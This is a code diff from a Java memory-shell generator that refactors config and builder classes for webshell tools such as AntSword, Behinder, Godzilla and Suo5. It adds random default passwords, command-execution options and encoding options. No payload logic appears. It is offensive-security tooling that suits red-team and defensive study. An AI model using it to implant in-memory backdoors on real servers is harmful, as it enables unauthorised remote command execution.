public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
|
public static final String JETTY_AGENT_HANDLER = AGENT + HANDLER;
|
||||||
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
||||||
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
||||||
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
||||||
@@ -38,4 +46,6 @@ public class ShellType {
|
|||||||
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
|
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
|
||||||
public static final String WEBSOCKET = "WebSocket";
|
public static final String WEBSOCKET = "WebSocket";
|
||||||
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
|
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
|
||||||
|
|
||||||
|
public static final String ACTION = "Action";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,23 +1,51 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.*;
|
import lombok.*;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
@Getter
|
@Getter
|
||||||
@SuperBuilder
|
@SuperBuilder(toBuilder = true)
|
||||||
@NoArgsConstructor
|
@NoArgsConstructor
|
||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
@ToString
|
@ToString
|
||||||
public class AntSwordConfig extends ShellToolConfig {
|
public class AntSwordConfig extends ShellToolConfig {
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String pass = "pass";
|
private String pass = CommonUtil.getRandomString(8);
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerName = "User-Agent";
|
private String headerName = "User-Agent";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerValue = CommonUtil.getRandomString(8);
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
public static abstract class AntSwordConfigBuilder<C extends AntSwordConfig, B extends AntSwordConfig.AntSwordConfigBuilder<C, B>>
|
||||||
|
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||||
|
public B pass(final String pass) {
|
||||||
|
if (StringUtils.isNotBlank(pass)) {
|
||||||
|
this.pass$value = pass;
|
||||||
|
pass$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerName(final String headerName) {
|
||||||
|
if (StringUtils.isNotBlank(headerName)) {
|
||||||
|
this.headerName$value = headerName;
|
||||||
|
headerName$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerValue(final String headerValue) {
|
||||||
|
if (StringUtils.isNotBlank(headerValue)) {
|
||||||
|
this.headerValue$value = headerValue;
|
||||||
|
headerValue$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,23 +1,51 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.*;
|
import lombok.*;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
@Getter
|
@Getter
|
||||||
@SuperBuilder
|
@SuperBuilder(toBuilder = true)
|
||||||
@NoArgsConstructor
|
@NoArgsConstructor
|
||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
@ToString
|
@ToString
|
||||||
public class BehinderConfig extends ShellToolConfig {
|
public class BehinderConfig extends ShellToolConfig {
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String pass = "pass";
|
private String pass = CommonUtil.getRandomString(8);
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerName = "User-Agent";
|
private String headerName = "User-Agent";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerValue = CommonUtil.getRandomString(8);
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
public static abstract class BehinderConfigBuilder<C extends BehinderConfig, B extends BehinderConfig.BehinderConfigBuilder<C, B>>
|
||||||
|
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||||
|
public B pass(final String pass) {
|
||||||
|
if (StringUtils.isNotBlank(pass)) {
|
||||||
|
this.pass$value = pass;
|
||||||
|
pass$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerName(final String headerName) {
|
||||||
|
if (StringUtils.isNotBlank(headerName)) {
|
||||||
|
this.headerName$value = headerName;
|
||||||
|
headerName$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerValue(final String headerValue) {
|
||||||
|
if (StringUtils.isNotBlank(headerValue)) {
|
||||||
|
this.headerValue$value = headerValue;
|
||||||
|
headerValue$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,9 +1,11 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.Builder;
|
import lombok.Builder;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import lombok.ToString;
|
import lombok.ToString;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -13,6 +15,61 @@ import lombok.experimental.SuperBuilder;
|
|||||||
@SuperBuilder
|
@SuperBuilder
|
||||||
@ToString
|
@ToString
|
||||||
public class CommandConfig extends ShellToolConfig {
|
public class CommandConfig extends ShellToolConfig {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 接收参数的请求头或请求参数名称
|
||||||
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String paramName = "cmd";
|
private String paramName = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 加密器
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private Encryptor encryptor = Encryptor.RAW;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 实现类
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 命令执行模板,使用 {command} 作为占位符
|
||||||
|
*/
|
||||||
|
private String template;
|
||||||
|
|
||||||
|
public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
|
||||||
|
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||||
|
public B paramName(String paramName) {
|
||||||
|
if (StringUtils.isNotBlank(paramName)) {
|
||||||
|
paramName$value = paramName;
|
||||||
|
paramName$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public enum ImplementationClass {
|
||||||
|
RuntimeExec, ForkAndExec;
|
||||||
|
|
||||||
|
public static ImplementationClass fromString(String encryptor) {
|
||||||
|
if (encryptor != null && encryptor.equals("ForkAndExec")) {
|
||||||
|
return ForkAndExec;
|
||||||
|
}
|
||||||
|
return RuntimeExec;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public enum Encryptor {
|
||||||
|
RAW, DOUBLE_BASE64;
|
||||||
|
|
||||||
|
public static Encryptor fromString(String encryptor) {
|
||||||
|
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
|
||||||
|
return DOUBLE_BASE64;
|
||||||
|
}
|
||||||
|
return RAW;
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,20 @@
|
|||||||
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
|
import lombok.AllArgsConstructor;
|
||||||
|
import lombok.Getter;
|
||||||
|
import lombok.NoArgsConstructor;
|
||||||
|
import lombok.ToString;
|
||||||
|
import lombok.experimental.SuperBuilder;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/12
|
||||||
|
*/
|
||||||
|
@Getter
|
||||||
|
@SuperBuilder
|
||||||
|
@NoArgsConstructor
|
||||||
|
@AllArgsConstructor
|
||||||
|
@ToString
|
||||||
|
public class CustomConfig extends ShellToolConfig {
|
||||||
|
private String shellClassBase64;
|
||||||
|
}
|
||||||
@@ -1,44 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
|
||||||
|
|
||||||
import lombok.AllArgsConstructor;
|
|
||||||
import lombok.Builder;
|
|
||||||
import lombok.Data;
|
|
||||||
import lombok.NoArgsConstructor;
|
|
||||||
import org.apache.commons.codec.binary.Base64;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/11/24
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
@NoArgsConstructor
|
|
||||||
@AllArgsConstructor
|
|
||||||
@Builder(builderClassName = "GenerateResultBuilder")
|
|
||||||
public class GenerateResult {
|
|
||||||
private String shellClassName;
|
|
||||||
private transient byte[] shellBytes;
|
|
||||||
private long shellSize;
|
|
||||||
private String shellBytesBase64Str;
|
|
||||||
private String injectorClassName;
|
|
||||||
private transient byte[] injectorBytes;
|
|
||||||
private long injectorSize;
|
|
||||||
private String injectorBytesBase64Str;
|
|
||||||
private ShellConfig shellConfig;
|
|
||||||
private ShellToolConfig shellToolConfig;
|
|
||||||
private InjectorConfig injectorConfig;
|
|
||||||
|
|
||||||
public static class GenerateResultBuilder {
|
|
||||||
public GenerateResult build() {
|
|
||||||
if (shellBytes != null) {
|
|
||||||
shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
|
|
||||||
shellSize = shellBytes.length;
|
|
||||||
}
|
|
||||||
if (injectorBytes != null) {
|
|
||||||
injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
|
|
||||||
injectorSize = injectorBytes.length;
|
|
||||||
}
|
|
||||||
return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
|
|
||||||
injectorClassName, injectorBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,25 +1,61 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.*;
|
import lombok.*;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/24
|
* @since 2024/11/24
|
||||||
*/
|
*/
|
||||||
@Getter
|
@Getter
|
||||||
@SuperBuilder
|
@SuperBuilder(toBuilder = true)
|
||||||
@NoArgsConstructor
|
@NoArgsConstructor
|
||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
@ToString
|
@ToString
|
||||||
public class GodzillaConfig extends ShellToolConfig {
|
public class GodzillaConfig extends ShellToolConfig {
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String pass = "pass";
|
private String pass = CommonUtil.getRandomString(8);
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String key = "key";
|
private String key = CommonUtil.getRandomString(8);
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerName = "User-Agent";
|
private String headerName = "User-Agent";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerValue = CommonUtil.getRandomString(8);
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
public static abstract class GodzillaConfigBuilder<C extends GodzillaConfig, B extends GodzillaConfigBuilder<C, B>>
|
||||||
|
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||||
|
public B pass(final String pass) {
|
||||||
|
if (StringUtils.isNotBlank(pass)) {
|
||||||
|
this.pass$value = pass;
|
||||||
|
pass$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B key(final String key) {
|
||||||
|
if (StringUtils.isNotBlank(key)) {
|
||||||
|
this.key$value = key;
|
||||||
|
key$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerName(final String headerName) {
|
||||||
|
if (StringUtils.isNotBlank(headerName)) {
|
||||||
|
this.headerName$value = headerName;
|
||||||
|
headerName$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerValue(final String headerValue) {
|
||||||
|
if (StringUtils.isNotBlank(headerValue)) {
|
||||||
|
this.headerValue$value = headerValue;
|
||||||
|
headerValue$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Builder;
|
import lombok.Builder;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
@@ -46,4 +46,9 @@ public class InjectorConfig {
|
|||||||
* 内存马类字节
|
* 内存马类字节
|
||||||
*/
|
*/
|
||||||
private byte[] shellClassBytes;
|
private byte[] shellClassBytes;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 添加静态代码块调用构造方法初始化
|
||||||
|
*/
|
||||||
|
private boolean staticInitialize;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,8 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.*;
|
import lombok.*;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -18,4 +19,24 @@ public class NeoreGeorgConfig extends ShellToolConfig {
|
|||||||
private String headerName = "Referer";
|
private String headerName = "Referer";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerValue = CommonUtil.getRandomString(8);
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
public static abstract class NeoreGeorgConfigBuilder<C extends NeoreGeorgConfig, B extends NeoreGeorgConfig.NeoreGeorgConfigBuilder<C, B>>
|
||||||
|
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||||
|
|
||||||
|
public B headerName(final String headerName) {
|
||||||
|
if (StringUtils.isNotBlank(headerName)) {
|
||||||
|
this.headerName$value = headerName;
|
||||||
|
headerName$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerValue(final String headerValue) {
|
||||||
|
if (StringUtils.isNotBlank(headerValue)) {
|
||||||
|
this.headerValue$value = headerValue;
|
||||||
|
headerValue$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -1,13 +1,11 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Builder;
|
import lombok.Builder;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
import lombok.NoArgsConstructor;
|
import lombok.NoArgsConstructor;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -21,17 +19,23 @@ public class ShellConfig {
|
|||||||
/**
|
/**
|
||||||
* 目标服务类型
|
* 目标服务类型
|
||||||
*/
|
*/
|
||||||
Server server;
|
private String server;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 目标服务版本
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private String serverVersion = "unknown";
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 内存马功能
|
* 内存马功能
|
||||||
*/
|
*/
|
||||||
ShellTool shellTool;
|
private String shellTool;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 内存马类型
|
* 内存马类型
|
||||||
*/
|
*/
|
||||||
String shellType;
|
private String shellType;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 生成类的目标 JRE 版本
|
* 生成类的目标 JRE 版本
|
||||||
@@ -45,31 +49,36 @@ public class ShellConfig {
|
|||||||
@Builder.Default
|
@Builder.Default
|
||||||
private boolean byPassJavaModule = false;
|
private boolean byPassJavaModule = false;
|
||||||
|
|
||||||
/**
|
|
||||||
* 是否开启混淆
|
|
||||||
*/
|
|
||||||
@Builder.Default
|
|
||||||
private boolean obfuscate = false;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 是否开启调试
|
* 是否开启调试
|
||||||
*/
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private boolean debug = false;
|
private boolean debug = false;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 是否使用回显模式
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private boolean probe = false;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 是否启用缩小字节码
|
* 是否启用缩小字节码
|
||||||
*/
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private boolean shrink = false;
|
private boolean shrink = false;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 追加 Lambda 类名后缀
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private boolean lambdaSuffix = false;
|
||||||
|
|
||||||
public boolean isDebugOff() {
|
public boolean isDebugOff() {
|
||||||
return !debug;
|
return !debug;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public boolean isJakarta() {
|
public boolean isJakarta() {
|
||||||
return StringUtils.containsIgnoreCase(shellType, "jakarta");
|
return shellType.startsWith(ShellType.JAKARTA);
|
||||||
}
|
}
|
||||||
|
|
||||||
public boolean needByPassJavaModule() {
|
public boolean needByPassJavaModule() {
|
||||||
|
|||||||
@@ -1,16 +1,18 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
|
import com.fasterxml.jackson.annotation.JsonIgnore;
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
import lombok.NoArgsConstructor;
|
import lombok.NoArgsConstructor;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/24
|
* @since 2024/11/24
|
||||||
*/
|
*/
|
||||||
@Data
|
@Data
|
||||||
@SuperBuilder
|
@SuperBuilder(toBuilder = true)
|
||||||
@NoArgsConstructor
|
@NoArgsConstructor
|
||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
public class ShellToolConfig {
|
public class ShellToolConfig {
|
||||||
@@ -19,6 +21,9 @@ public class ShellToolConfig {
|
|||||||
*/
|
*/
|
||||||
private Class<?> shellClass;
|
private Class<?> shellClass;
|
||||||
|
|
||||||
|
@JsonIgnore
|
||||||
|
private transient TypeDescription shellTypeDescription;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* shellClass 的类名
|
* shellClass 的类名
|
||||||
*/
|
*/
|
||||||
|
|||||||
@@ -1,8 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.*;
|
import lombok.*;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -18,4 +19,24 @@ public class Suo5Config extends ShellToolConfig {
|
|||||||
private String headerName = "User-Agent";
|
private String headerName = "User-Agent";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerValue = CommonUtil.getRandomString(8);
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
public static abstract class Suo5ConfigBuilder<C extends Suo5Config, B extends Suo5Config.Suo5ConfigBuilder<C, B>>
|
||||||
|
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||||
|
|
||||||
|
public B headerName(final String headerName) {
|
||||||
|
if (StringUtils.isNotBlank(headerName)) {
|
||||||
|
this.headerName$value = headerName;
|
||||||
|
headerName$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerValue(final String headerValue) {
|
||||||
|
if (StringUtils.isNotBlank(headerValue)) {
|
||||||
|
this.headerValue$value = headerValue;
|
||||||
|
headerValue$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
+10
-57
@@ -1,18 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.AntSwordConfig;
|
import com.reajason.javaweb.memshell.config.AntSwordConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
import java.util.HashMap;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
@@ -20,55 +11,17 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/02/18
|
* @since 2025/02/18
|
||||||
*/
|
*/
|
||||||
public class AntSwordGenerator {
|
public class AntSwordGenerator extends ByteBuddyShellGenerator<AntSwordConfig> {
|
||||||
private final ShellConfig shellConfig;
|
public AntSwordGenerator(ShellConfig shellConfig, AntSwordConfig shellToolConfig) {
|
||||||
private final AntSwordConfig antSwordConfig;
|
super(shellConfig, shellToolConfig);
|
||||||
|
|
||||||
public AntSwordGenerator(ShellConfig shellConfig, AntSwordConfig antSwordConfig) {
|
|
||||||
this.shellConfig = shellConfig;
|
|
||||||
this.antSwordConfig = antSwordConfig;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
@Override
|
||||||
if (antSwordConfig.getShellClass() == null) {
|
protected DynamicType.Builder<?> getBuilder() {
|
||||||
throw new IllegalArgumentException("antSwordConfig.getClazz() == null");
|
return new ByteBuddy()
|
||||||
}
|
.redefine(shellToolConfig.getShellClass())
|
||||||
if (StringUtils.isBlank(antSwordConfig.getPass())) {
|
.field(named("pass")).value(shellToolConfig.getPass())
|
||||||
throw new IllegalArgumentException("antSwordConfig.getPass().isBlank()");
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
}
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
|
||||||
.redefine(antSwordConfig.getShellClass())
|
|
||||||
.name(antSwordConfig.getShellClassName())
|
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isDebugOff()) {
|
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
|
||||||
builder = builder.visit(
|
|
||||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
|
||||||
put("pass", antSwordConfig.getPass());
|
|
||||||
put("headerName", antSwordConfig.getHeaderName());
|
|
||||||
put("headerValue", antSwordConfig.getHeaderValue());
|
|
||||||
}})
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
builder = builder.field(named("pass")).value(antSwordConfig.getPass())
|
|
||||||
.field(named("headerName")).value(antSwordConfig.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(antSwordConfig.getHeaderValue());
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] getBytes() {
|
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
|
||||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-58
@@ -1,19 +1,10 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import org.apache.commons.codec.digest.DigestUtils;
|
import org.apache.commons.codec.digest.DigestUtils;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
import java.util.HashMap;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
@@ -21,57 +12,18 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
public class BehinderGenerator {
|
public class BehinderGenerator extends ByteBuddyShellGenerator<BehinderConfig> {
|
||||||
private final ShellConfig shellConfig;
|
